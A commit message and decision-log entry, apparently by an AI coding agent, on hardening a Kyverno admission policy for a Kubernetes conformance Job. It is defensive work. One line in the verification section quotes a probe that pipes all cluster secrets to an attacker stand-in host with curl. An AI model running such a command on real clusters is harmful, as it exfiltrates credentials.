#18 has landed, so this branch's "PR #18 must merge first" caveat was stale -- corrected to say what is now true and, more importantly, what is still NOT: no image has been built or pushed, so the digest this branch pins resolves to nothing. Also records the one real conflict the rebase hit and how it was resolved. #18's README carried a blockquote saying the 4th admission rule pinning the init container's command "is not in this branch". It IS in this branch (trigger-initcontainers-must-be-the-committed-clone-step, plus the ephemeralContainers and env/envFrom rules beside it), so keeping #18's wording would have left main documenting an open hole that had just been closed. Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
402 lines
26 KiB
Markdown
402 lines
26 KiB
Markdown
---
|
|
date: 2026-09-29
|
|
branch: feat/conformance-job-template
|
|
title: The conformance Job can run a named commit and get its results out — and the policy meant to bound it read only `containers`
|
|
---
|
|
|
|
## What changed
|
|
|
|
Closes `docs/plans/l2-l3-conformance-ci-wiring.md` §3 items **2** (repo at the commit under
|
|
test) and **3** (results collection with no exec channel). `conformance/incluster/chainsaw-job.yaml`
|
|
was a skeleton whose `workspace` was an empty `emptyDir` with nothing to fill it; it is now a
|
|
renderable run template. Along the way the admission policy that is supposed to bound that Job
|
|
turned out to read `spec.template.spec.containers` and nothing else, and closing that took four
|
|
more rules and moved the clone script out of the Job entirely.
|
|
|
|
> **Note on where this entry lives.** This handoff was originally written as a ~400-line append
|
|
> to the tail of `DECISIONS-LOG.md`. That append is what made PR #20 unmergeable — four of the
|
|
> five open PRs collided on that one hunk. The prose below is the same content, moved to its own
|
|
> file under `decisions/`; the archive is untouched.
|
|
|
|
### The binding constraint, and how it was met
|
|
|
|
`platform/kyverno/admission/conformance-trigger-job-shape.yaml` (Enforce, `failurePolicy: Fail`)
|
|
admits **only `workspace` and `results`** as volume names. So the git credential could not be a
|
|
Secret volume and the init container could not have a scratch volume:
|
|
|
|
- **Credential:** env vars from `secretKeyRef` on Secret `conformance-git-readonly`
|
|
(`username`, `token`) — an env var is not a volume. By **name only**; no literal in the tree.
|
|
The token reaches `git` through an inline `credential.helper` that reads the environment, so it
|
|
never appears in argv (where `ps` and the Pod spec would show it) and is never written to disk.
|
|
- **Writable scratch under `readOnlyRootFilesystem: true`:** `$TMPDIR=/workspace/tmp` and
|
|
`$HOME=/workspace/home`, i.e. directories **on** the `workspace` emptyDir. Not `subPath`
|
|
mounts — a kubelet-created subPath directory is root-owned 0755 and the non-root runner could
|
|
not write it.
|
|
- **`results` could not be mounted at `conformance/_artifacts`:** that path sits inside the clone
|
|
target, and a directory mounted into it makes the target non-empty, so `git clone` refuses.
|
|
Hence `CONF_ARTIFACTS=/results` (new, honoured only when set).
|
|
|
|
The init container shallow-clones, fetches the exact commit if the shallow tip lacks it, detaches
|
|
onto it, and **asserts `HEAD` equals the requested SHA**. The SHA must match `^[0-9a-f]{40}$`, so
|
|
an unrendered placeholder is a hard failure rather than a silent run of whatever the branch tip
|
|
happened to be.
|
|
|
|
### Results out of the Job with no exec channel
|
|
|
|
The trigger identity has no `pods/exec` and cannot `kubectl cp`, and admission pins `command` to
|
|
exactly `["./run.sh"]` — so nothing can wrap the suite to package artifacts afterwards. `run.sh`
|
|
therefore does it itself, on an **EXIT trap** (a failed run still ships its red JUnit — that is
|
|
the evidence the gate most needs), armed only by `CONF_EMIT_ARTIFACTS_TGZ=1`:
|
|
|
|
=== ARTIFACTS-TGZ-BASE64 BEGIN v1 rc=<rc> bytes=<n> lines=<l> sha256=<hex> ===
|
|
<base64 of the tgz, wrapped at 76 columns>
|
|
=== ARTIFACTS-TGZ-BASE64 END v1 rc=<rc> bytes=<n> lines=<l> sha256=<hex> ===
|
|
|
|
`kubectl logs` is a lossy channel (`--tail`, a rotated CRI log, a dropped watch), and base64
|
|
decodes a truncated stream to plausible garbage without complaint. So size, base64 line count and
|
|
digest appear in **both** markers and the collector owes five checks, each documented above the
|
|
function.
|
|
|
|
### THE FINDING: the admission boundary did not look at `initContainers`
|
|
|
|
Every rule read `spec.template.spec.containers` (rule 1's pattern, rule 3's `containers[0].args`)
|
|
or `volumes` (rule 2). **`initContainers` was never examined**, and neither were
|
|
`ephemeralContainers` or `env`. So the precise escalation the policy exists to stop — the
|
|
privileged `conformance-runner` SA running an arbitrary command, because Kubernetes places no
|
|
`use` check on `serviceAccountName` — was reachable one field over. This predated this branch: the
|
|
gap was there when the policy shipped in PR #13, and a Job with no init container at all could
|
|
already have carried one.
|
|
|
|
It was **initially left unfixed, deliberately** — a security boundary changes in its own reviewed
|
|
PR, not smuggled in beside the Job that has to satisfy it. The coordinator then reproduced the
|
|
finding independently and **reversed that instruction explicitly**, on the grounds that the ban
|
|
existed to stop the boundary being *bent to fit a Job*, not to stop a hole being closed. So the
|
|
policy gained four rules in this branch:
|
|
|
|
- **`trigger-initcontainers-must-be-the-committed-clone-step`** — at most ONE initContainer; it
|
|
must be on the digest-pinned `conformance-runner` image, `command:
|
|
["/usr/local/bin/conformance-clone"]`, **no `args`**, non-root, `allowPrivilegeEscalation:
|
|
false`, not privileged.
|
|
- **`trigger-may-not-declare-ephemeral-containers`** — the third container list. See the honesty
|
|
note under "What I did NOT verify".
|
|
- **`trigger-env-names-must-be-the-committed-set`** — runner container: `CONF_ARTIFACTS`,
|
|
`CONF_EMIT_ARTIFACTS_TGZ`, `TMPDIR`, `HOME`. Clone init container: `CONFORMANCE_GIT_SHA`,
|
|
`CONFORMANCE_REPO_URL`, `CONFORMANCE_SRC`, `GITEA_USERNAME`, `GITEA_TOKEN`, `TMPDIR`, `HOME`.
|
|
`command` is pinned, so injection moves to whatever adjacent field nobody enumerated, and
|
|
**`BASH_ENV` alone is arbitrary code execution** — bash sources it before running a
|
|
non-interactive script, and the runner's command IS a bash script. The init list iterates
|
|
`initContainers[].env[]` flattened, so it keeps working if the at-most-one cap is ever relaxed.
|
|
- **`trigger-may-not-use-envfrom`** — `envFrom` injects a whole ConfigMap/Secret whose KEYS are
|
|
nowhere in the Job, which would make the allowlist above unenforceable by inspection.
|
|
|
|
All four use `deny` conditions, not a `pattern`. A Kyverno array `pattern` asserts "**at least
|
|
one** element matches", so a pattern-based init rule would have admitted the committed clone step
|
|
**plus** an arbitrary second init container — the same hole rule 2's own comment describes for
|
|
volumes. `second-initcontainer` is a fixture precisely because I nearly wrote it that way.
|
|
|
|
**Deliberately NOT constrained:** env *values*, and which Secret a `valueFrom` reads. Values are
|
|
legitimately environment-specific, and `conformance-runner` can already read this namespace's
|
|
Secrets through its own RBAC, so pinning the source Secret buys nothing. Names are the vector that
|
|
matters, because a name is what a program keys behaviour on. Constraining env *values* remains
|
|
undone.
|
|
|
|
### The clone script left the Job — that is the actual fix
|
|
|
|
Pinning `command` is worthless if the command is `/bin/bash -c` and the script arrives as `args`:
|
|
a policy cannot distinguish the committed script from an attacker's, because both are just data.
|
|
The logic now lives in the runner image at `/usr/local/bin/conformance-clone` (mode 0755 — added
|
|
to plan §5 step 1 as a hard requirement), sourced from `conformance/incluster/conformance-clone`,
|
|
which **agent 1 ships in PR #18**. The Job's init container is now `command` + `env` and nothing
|
|
else.
|
|
|
|
I had written a second copy of that script here (`conformance/incluster/conformance-clone.sh`) and
|
|
**deleted it**: two copies of the clone entrypoint in one directory, one baked into the image and
|
|
one not, is a guaranteed drift into "the reviewed file is not the file that runs". I read agent
|
|
1's version before deleting mine rather than assuming compatibility, and the interface my Job
|
|
depends on matches exactly: env `CONFORMANCE_GIT_SHA`, `GITEA_USERNAME`/`GITEA_TOKEN`; baked clone
|
|
target `/workspace/src` (which is what makes my `workingDir: /workspace/src/conformance` correct);
|
|
`TMPDIR`/`HOME` required to be under `/workspace`; and both load-bearing guards preserved — the
|
|
`^[0-9a-f]{40}$` SHA guard and the `rev-parse HEAD == SHA` assertion. Theirs is a superset: it also
|
|
hard-fails a `CONFORMANCE_REPO_URL`/`CONFORMANCE_SRC` that disagrees with the baked values, rather
|
|
than honouring it.
|
|
|
|
**One thing that changed while moving it, and it matters:** the repository URL is **hardcoded in
|
|
the script** instead of passed as `CONFORMANCE_REPO_URL` env. The policy pins `command` but says
|
|
nothing about env *values*. Had the URL stayed live in env, a trigger could point the clone at a
|
|
repository it controls and have `containers[0]` execute that repo's `./run.sh` as
|
|
`conformance-runner` — the same escalation, laundered through a field nobody constrains. **Do not
|
|
move that URL back into env.** Worth recording that agent 1 reached the hardcoded-URL conclusion
|
|
**independently and against an instruction to read those values from env** — an instruction the
|
|
coordinator then retracted. Two agents finding the same "the policy doesn't read this field, so
|
|
trusting it just moves the injection" reasoning in one afternoon is the signal that the
|
|
field-enumeration gap was systemic, not a one-off.
|
|
|
|
### The committed `args` default was a shape that cannot run
|
|
|
|
Agent 1 measured that `--layer all --strict-coverage` and a bare `--requirements <IDs>` fail on the
|
|
runner image: it deliberately ships no flux/promtool/kyverno/kustomize, and `run.sh` runs its
|
|
offline L0/L1 stages first for any selection that is not offline-only. I traced `run.sh` to state
|
|
the invariant precisely rather than repeat the symptom — `requirement_scoped_dirs()` is
|
|
layer-bounded **only when `--layer` is given and is not `all`**, and `offline_selected_dirs()` then
|
|
filters to `/l0-static/|/l1-rendering/`:
|
|
|
|
| args | offline selection | verdict |
|
|
|---|---|---|
|
|
| `--layer l2,l3` | empty | **RUNS** |
|
|
| `--layer l2,l3 --requirements R-NET-01` | intersected to L2/L3 | **RUNS** |
|
|
| `--layer l2,l3 --include-scope whole-repo` | scope union is *also* layer-bounded | **RUNS** |
|
|
| `--requirements R-NET-01` (no `--layer`) | that requirement's L0/L1 tests | **FAILS** |
|
|
| `--layer all --strict-coverage` | every L0/L1 test | **FAILS** |
|
|
|
|
So `--layer` is mandatory and must name only l2/l3. **The committed default was `--layer all
|
|
--strict-coverage` — one of the broken shapes — and is now `--layer l2,l3`.** More importantly:
|
|
**the plan's "PHASE EXIT: `--layer all`" invocation cannot run in-cluster at all.** A full-suite
|
|
run is CI's L0/L1 plus this Job's L2/L3, not this Job alone. That correction is in the manifest
|
|
header and still needs to land in `ci/conformance.sh` (plan §3 item 4).
|
|
|
|
I did **not** narrow the policy's `args` allowlist to match. A security boundary should not encode
|
|
which toolchain an image happens to ship, and the failure mode of an allowed-but-unrunnable shape
|
|
is a loud non-zero run, not an escalation. Said so in the header so the next reader knows it was
|
|
considered rather than missed.
|
|
|
|
## What I verified
|
|
|
|
### Admission, proven with the pinned CLI rather than assumed
|
|
|
|
kyverno **v1.19.0** in the pinned toolbox, `kyverno apply` against the *rendered* template:
|
|
|
|
##### the real rendered template MUST PASS
|
|
Applying 7 policy rule(s) to 1 resource(s)...
|
|
pass: 7, fail: 0, warn: 0, error: 0, skip: 0
|
|
|
|
##### the coordinator's exact initContainer probe MUST FAIL
|
|
1 - trigger-initcontainers-must-be-the-committed-clone-step validation failure: ...
|
|
pass: 6, fail: 1, warn: 0, error: 0, skip: 0
|
|
|
|
##### same escalation via ephemeralContainers MUST FAIL
|
|
1 - trigger-may-not-declare-ephemeral-containers ...
|
|
pass: 6, fail: 1, warn: 0, error: 0, skip: 0
|
|
|
|
The pre-fix measurements that produced the finding, taken the same way with `containers[0]` fully
|
|
compliant and `serviceAccountName: conformance-runner`:
|
|
|
|
- a `privileged: true` `docker.io/library/alpine:latest` initContainer running
|
|
`kubectl get secrets -A` → `pass: 3, fail: 0` — **ADMITTED**
|
|
- the committed template with **only** the init container's `args` swapped for
|
|
`kubectl get secrets -A -o yaml | curl -X POST --data-binary @- http://evil.invalid/`
|
|
→ `pass: 3, fail: 0` — **ADMITTED**
|
|
|
|
Negative controls on the same rendered template, showing the original rules do bite where they
|
|
look: adding a third volume → `trigger-volumes-must-be-workspace-or-results` fails; wrapping
|
|
`command` in `/bin/sh -c` → `trigger-may-create-only-the-committed-conformance-run` fails at
|
|
`/spec/template/spec/containers/0/command/`.
|
|
|
|
Full fixture matrix from `kyverno apply --policy-report` — **65 pass / 13 fail / 0 error / 0 skip**:
|
|
|
|
| resource | creat | vols | args | init | ephem | envnm | envfr |
|
|
|---|---|---|---|---|---|---|---|
|
|
| `real-template` | pass | pass | pass | pass | pass | pass | pass |
|
|
| `good-run` | pass | pass | pass | — | pass | — | pass |
|
|
| `evil-command` | **fail** | pass | — | — | pass | — | pass |
|
|
| `evil-image` | **fail** | pass | — | — | pass | — | pass |
|
|
| `tag-not-digest` | **fail** | pass | — | — | pass | — | pass |
|
|
| `host-namespaces` | **fail** | pass | — | — | pass | — | pass |
|
|
| `extra-volume` | pass | **fail** | — | — | pass | — | pass |
|
|
| `injected-args` | pass | pass | **fail** | — | pass | — | pass |
|
|
| `evil-initcontainer` | pass | pass | pass | **fail** | pass | — | pass |
|
|
| `initcontainer-with-args` | pass | pass | pass | **fail** | pass | — | pass |
|
|
| `second-initcontainer` | pass | pass | pass | **fail** | pass | — | pass |
|
|
| `evil-ephemeral-container` | pass | pass | pass | — | **fail** | — | pass |
|
|
| `injected-env` | pass | pass | pass | — | pass | **fail** | pass |
|
|
| `injected-initcontainer-env` | pass | pass | pass | pass | pass | **fail** | pass |
|
|
| `envfrom-whole-secret` | pass | pass | pass | — | pass | — | **fail** |
|
|
|
|
`—` is "no result", not a pass: a `foreach` over an absent list emits nothing. Every `evil-*`
|
|
init/ephemeral/env case **passes the three original rules** — that is the whole finding in one
|
|
column, and it is why the fixtures are worth more than the rules' prose.
|
|
`injected-initcontainer-env` is the row worth staring at: it **passes** the initContainer rule —
|
|
correct image, correct pinned command, no args, non-root — and is hostile purely through `env`.
|
|
That is why env had to be its own rule and not a condition bolted onto the init rule.
|
|
|
|
The rendered template is now a fixture (`real-template` in
|
|
`platform/kyverno/tests/conformance-trigger/resources.yaml`), so a template that drifts out of
|
|
admission fails `make -C ci l0` instead of failing at 2am.
|
|
|
|
### How strong that evidence is — the `kyverno test` load trap
|
|
|
|
`ci/l0.sh` records, and this branch is downstream of, the lesson that **`kyverno test` exits 0 and
|
|
prints "N tests passed" even when a policy FAILS TO LOAD** — every row becomes `Skip / Invalid
|
|
Policy`. That trap was measured *while authoring this very policy*: a `subjects` block in a
|
|
separate `match.all` entry from its `resources` gave 9 rows of `Skip / Invalid Policy` and
|
|
`Test Summary: 9 tests passed and 0 tests failed`.
|
|
|
|
So the proofs above are deliberately quoted from **`kyverno apply`**, whose report carries explicit
|
|
`error:` and `skip:` counts, and those counts are `0` in every run cited. A green `kyverno test`
|
|
alone — or the green `l0` line in the gate below — would **not** on its own establish that these
|
|
rules loaded; `ci/l0.sh` greps the output for `Invalid Policy` for exactly that reason. Read the
|
|
`error: 0, skip: 0` in the numbers above, not the exit code.
|
|
|
|
Two further limits on what a CLI pass proves:
|
|
|
|
- **`kyverno apply` evaluates these rules with or without `--userinfo`** — the extra-volume control
|
|
fails either way. A CLI pass is evidence about the *patterns*, **not** about the `subjects`
|
|
filter that decides whether the rules apply at all. The claim in `kyverno-test.yaml`'s header
|
|
that userinfo is what makes the cases non-trivial holds for `kyverno test`, not for
|
|
`kyverno apply`.
|
|
- Nothing here was evaluated by a real API server. This is CLI evaluation of a manifest, not
|
|
admission in the cluster.
|
|
|
|
### Two Kyverno traps, both of which silently invert the result
|
|
|
|
Both are now commented in the rules:
|
|
|
|
- **`not_null(x, `default`)`, never `||`.** JMESPath treats `false` as falsy, so
|
|
``element.securityContext.allowPrivilegeEscalation || `true` `` rewrites the **compliant** value
|
|
`false` into `true` and denies every good Job.
|
|
- **`join(' ', command)` compared as a string**, not the array compared with `Equals`. Kyverno's
|
|
`Equals`/`NotEquals` are not dependable on arrays, and an element-wise match would let
|
|
`["/bin/sh","-c",…]` through on element 0.
|
|
|
|
### The results envelope
|
|
|
|
**Verified locally, not asserted:** full decode round-trips to a valid tar; tail-truncation and
|
|
head-truncation fail check 1; a dropped interior line fails check 3; one corrupted character fails
|
|
check 5. Exit-code preservation through the EXIT trap was tested for 0, an explicit `exit 3`, and a
|
|
`set -e` abort — the envelope's `rc=` matched the process rc in all three. **The envelope is
|
|
verified; its transport over `kubectl logs` from a real Pod is not.**
|
|
|
|
### Gate
|
|
|
|
Toolbox only (`DEV_KUBECONFIG=/dev/null` + an `ENGINE` shim bind-mounting the main checkout's
|
|
`.git`, per CLAUDE.md §3):
|
|
|
|
diff base: origin/main @ c59fe9f923c4 ... HEAD @ <this branch>
|
|
touched requirements: R-NET-01 R-SEC-01 R-TEST-01 R-TEST-02 R-TEST-03 R-TEST-04 R-TLS-02
|
|
spec-immutability: green
|
|
decisions-log: green (archive frozen, sha256 matches decisions/ARCHIVE.sha256;
|
|
2 entries well-formed — this one included)
|
|
lint: green (404 files)
|
|
l0: green (kyverno test passed, no 'Invalid Policy'; 19 offline cases,
|
|
0 failures, 0 skips, 0 unwired)
|
|
render-golden: green (10 onboarded service goldens reproduce)
|
|
l1: green (3 offline L0/L1 checks, 0 failures, 0 skips, 0 unwired)
|
|
gitea-settings: SKIPPED (SETTINGS_API_TOKEN not set — unwired repo-wide)
|
|
conformance L2/L3: SKIPPED (CLUSTER_AVAILABLE != true)
|
|
MERGE GATE: UNDETERMINED — greenness was NOT ESTABLISHED
|
|
Stages that did not run: gitea-settings
|
|
rc 3
|
|
|
|
Nothing FAILED. **rc 3 is UNDETERMINED, not green** — `gitea-settings` did not run, so this run
|
|
says nothing about Gitea's branch protection or runner registration, and the seven touched
|
|
requirements above are explicitly *not certified* at L2/L3. `gate.yml` tolerates rc 3, which is
|
|
itself a fail-open surface recorded elsewhere. The branch was rebased onto `main` at `c59fe9f`, i.e. **after** PR #24
|
|
merged, so `ci/decisions-log.sh` is in the base and did run: it reports the archive frozen
|
|
(`DECISIONS-LOG.md` sha256 matches `decisions/ARCHIVE.sha256`) and both `decisions/` entries
|
|
well-formed. This entry's format is therefore checked by the stage that enforces it, not only by
|
|
eye — though that stage checks *structure*, never whether any claim inside it is true.
|
|
|
|
### The `approval-policy` check this PR was expected to fail does not exist
|
|
|
|
I was briefed to expect CI to FAIL on an `approval-policy` check because `conformance/**` is
|
|
security-relevant. **That check does not exist.** Measured rather than assumed:
|
|
|
|
grep -rn approval .gitea/workflows/ -> no match
|
|
GET /repos/.../branches/main
|
|
protected True
|
|
user_can_push False
|
|
enable_status_check True
|
|
status_check_contexts ['gate / gate (pull_request)']
|
|
required_approvals 1
|
|
GET /repos/.../commits/<head>/statuses
|
|
success gate / gate (pull_request) Successful in 1m36s
|
|
pending gate / conformance (pull_request) Blocked by required conditions
|
|
|
|
The **only** required context is `gate / gate`, and it was GREEN at 1m36s — it genuinely ran, so
|
|
that particular green is not the skipped-Gitea-job-reports-success trap. There is **no path-based
|
|
approval policy in CI anywhere in this repo.** What actually stops this merging is
|
|
`required_approvals: 1` plus the fact that `gitea-admin` authors every agent PR and cannot
|
|
self-approve — the same control that returned HTTP 405 on PR #12. `gate / conformance` is "Blocked
|
|
by required conditions", i.e. the `CLUSTER_AVAILABLE` guard, unchanged.
|
|
|
|
**Consequence worth acting on:** a change under `conformance/**` — including a change to the
|
|
admission boundary itself — is gated by a *generic* human approval, not by anything that knows the
|
|
path is security-relevant. If the intent is "security-relevant paths get a stricter review", that
|
|
policy is not implemented anywhere in this repo. `CODEOWNERS`-style path review or a
|
|
`paths:`-scoped required check would be the mechanism; neither exists today.
|
|
|
|
The PR was **not merged** and nothing was worked around.
|
|
|
|
### Process note, worth more than the policy fix
|
|
|
|
Both halves of the security finding came from **probing rather than reading**. The hole was not
|
|
visible in the policy's prose — which is careful, accurate about what it *does* constrain, and
|
|
explicit that it is "THE SECURITY BOUNDARY" — only in what the CLI did with a tampered resource. A
|
|
policy is only as trustworthy as its negative fixtures.
|
|
|
|
### Addendum — rebased onto `main` after #18 landed (2026-09-29)
|
|
|
|
This branch originally appended its handoff to `DECISIONS-LOG.md`, which is why it was
|
|
`mergeable: false`: every branch appended to that file's same last hunk. The append is now this
|
|
file (see `decisions/README.md`).
|
|
|
|
The rebase onto post-#18 `main` hit one real content conflict — `conformance/incluster/README.md`,
|
|
where #18 and this branch had each rewritten the same bullet list. Resolved by keeping #18's
|
|
`Containerfile` / `conformance-clone` / `build-image.sh` bullets and this branch's
|
|
`chainsaw-job.yaml` bullet, since this branch is what makes the Job a rendered run template.
|
|
|
|
One of #18's paragraphs had to be **rewritten rather than kept**: its `conformance-clone` bullet
|
|
carried a blockquote saying *"This file is half a fix … a 4th policy rule demanding `command:
|
|
["/usr/local/bin/conformance-clone"]` with no `args` … is **not** in this branch."* That rule **is**
|
|
in this branch — `trigger-initcontainers-must-be-the-committed-clone-step`, plus the
|
|
`ephemeralContainers` and `env`/`envFrom` rules beside it. Leaving #18's wording would have left
|
|
`main` documenting an open hole that had just been closed, which is the same
|
|
documentation-disagrees-with-mechanism failure this repo keeps hitting. No code changed in the
|
|
rebase: every file but that README is byte-identical to the pre-rebase tip.
|
|
|
|
## What I did NOT verify
|
|
|
|
- **Nothing here has ever executed against a cluster.** The `conformance-runner` image does not
|
|
exist (plan §3 item 1), so the Job cannot be submitted, and the init container's
|
|
clone/fetch/assert sequence, the credential helper and the envelope-over-`kubectl-logs` path are
|
|
all **unexercised**. The envelope itself is verified; its transport is not.
|
|
- **PR #18 has since merged** (`cac5c9f`), so `/usr/local/bin/conformance-clone` and the image are
|
|
now on `main` and this branch was rebased onto them. What that changes is only *availability*:
|
|
if the path were missing or named differently the init container would fail to start, and if the
|
|
image is not the pinned digest admission denies the Job. **Neither has been exercised** — no
|
|
image has been built or pushed, so the digest this branch pins still resolves to nothing.
|
|
- **Secret `conformance-git-readonly` does not exist** (plan §3 item 6, operator action). Only its
|
|
name is referenced here.
|
|
- **`uid 65532`** is asserted by the Job's `runAsUser`/`fsGroup`; the image that must provide it has
|
|
not been built. If the Containerfile picks a different uid, the Job will not start.
|
|
- **Whether Gitea's `uploadpack` accepts `fetch origin <sha>` for a non-tip commit was not tested;**
|
|
the shallow-clone-then-fetch fallback assumes it does. If it does not, the `HEAD == SHA`
|
|
assertion turns that into a loud failure rather than a wrong-tree run.
|
|
- **Whether the API server accepts `ephemeralContainers` inside a Job's pod template at all.**
|
|
Upstream the field is settable only through the `pods/ephemeralcontainers` subresource and
|
|
`ValidatePodCreate` rejects it on Pods, but that check does not obviously apply to a pod
|
|
*template* nested in a Job, and I found no definitive answer. Establishing it needs a
|
|
`create --dry-run=server`, i.e. a mutating request, which CLAUDE.md §5 reserves to the operator —
|
|
so I did not run one. **The rule was added anyway:** it is a no-op if upstream already rejects the
|
|
field, and it is the same hole again if it does not. "Probably rejected upstream" is not a
|
|
boundary. If someone with cluster-write access wants to settle it, that is a one-command check;
|
|
the rule should stay either way.
|
|
- **The `subjects` filter on these rules is unproven.** `kyverno apply` evaluates the patterns with
|
|
or without `--userinfo`, so nothing above establishes that the rules actually *match* only the
|
|
trigger identity in a live admission request.
|
|
- **Admission was never exercised by a real API server** — only by `kyverno apply` against
|
|
manifests. A policy that a CLI accepts can still behave differently once installed.
|
|
- **`env` *values* and the `valueFrom` source Secret are unconstrained by design**, so the hardening
|
|
there is deliberately partial, not complete.
|
|
- **The env allowlists are derived from what the two programs read TODAY.** If `run.sh` or the clone
|
|
entrypoint grows a new variable, admission denies the Job until the allowlist is widened in a
|
|
reviewed change. That is the intended failure direction, but it is a coupling the next person
|
|
editing either script needs to know about, so it is called out in the rule's message.
|
|
- **`ci/conformance.sh` still runs the suite locally and is untouched** (plan §3 item 4). This
|
|
branch changes nothing about what CI does today.
|
|
- **The gate run was rc 3, UNDETERMINED — not green.** `gitea-settings` did not run. The L2/L3
|
|
conformance stages did not run (`CLUSTER_AVAILABLE` unset), so nothing here is evidence about
|
|
runtime behaviour.
|
|
- **`ci/decisions-log.sh` passing says nothing about this entry's accuracy.** It asserts the
|
|
frozen archive's digest, the filename/frontmatter agreement and the presence of three non-stub
|
|
sections. Whether the measurements quoted above are real is not, and cannot be, checked by it.
|